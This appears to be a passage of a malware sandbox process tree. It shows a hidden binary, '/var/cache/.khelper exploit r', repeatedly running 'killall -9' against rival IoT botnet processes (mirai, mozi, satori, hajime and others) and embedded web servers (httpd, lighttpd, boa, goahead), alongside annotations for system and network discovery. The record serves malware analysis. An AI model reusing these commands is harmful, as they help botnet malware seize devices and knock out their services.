/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1172
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1173
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1174
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1175
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1176
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1177
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1178
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1179
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1180
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1181
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1182
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1183
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1184
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1185
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1186
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1187 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1188
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1189
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1190
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1191
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1192
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1193
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1194
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads runtime system information
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1195
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
PID:1196
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1197
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1198
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1199
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1200
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1201
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1202
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1203
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1204
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1205
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1206
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1207
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1208
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1209
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1210
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads runtime system information
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1211
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1212
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1213
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1214
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1215
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:1216
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1217
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1218
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1219
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1220
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1221
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1222
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1223
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1224
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1225
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1226
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1227
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1228
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1229
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1230
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:1231 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- Reads runtime system information
PID:1232
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1233
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1234
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1235
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1236
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1237
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1238
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1239
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1240
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1241
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1242
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1243
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1244
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1245
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1246
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1247
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1248
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1249
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1250
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1251
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1252
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1253
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1254
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1255
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1256
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1257
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1258
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1259
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1260
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1261
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1262
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1263
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1264
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1265
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1266
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1267
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1268
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1269
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1270
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1271
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1272
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1273
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1274
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1275
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1276
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1277
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1278
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1279
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1280
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1281
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1282
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1283
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1284
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1285
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1286
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads MAC address of network interface
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1287
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1288
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1289
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1290
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1291
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1292
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1293
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1294
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1295
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1296
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1297
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1298
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1299
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1300
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1301
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1302
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1303
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1304
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1305
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1306
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1307
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1308
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1309
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1310
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1311
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1312
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1313
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:1314
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Checks hardware identifiers (DMI)
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1315
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1316
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1317
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1318
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1319
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1320
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1321
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1322
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1323
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1324
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1325
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1326
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Reads network interface configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1327
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1328
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1329
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1330
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1331
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:1332
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:1333
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:1334
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵PID:733
-
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:1335
-
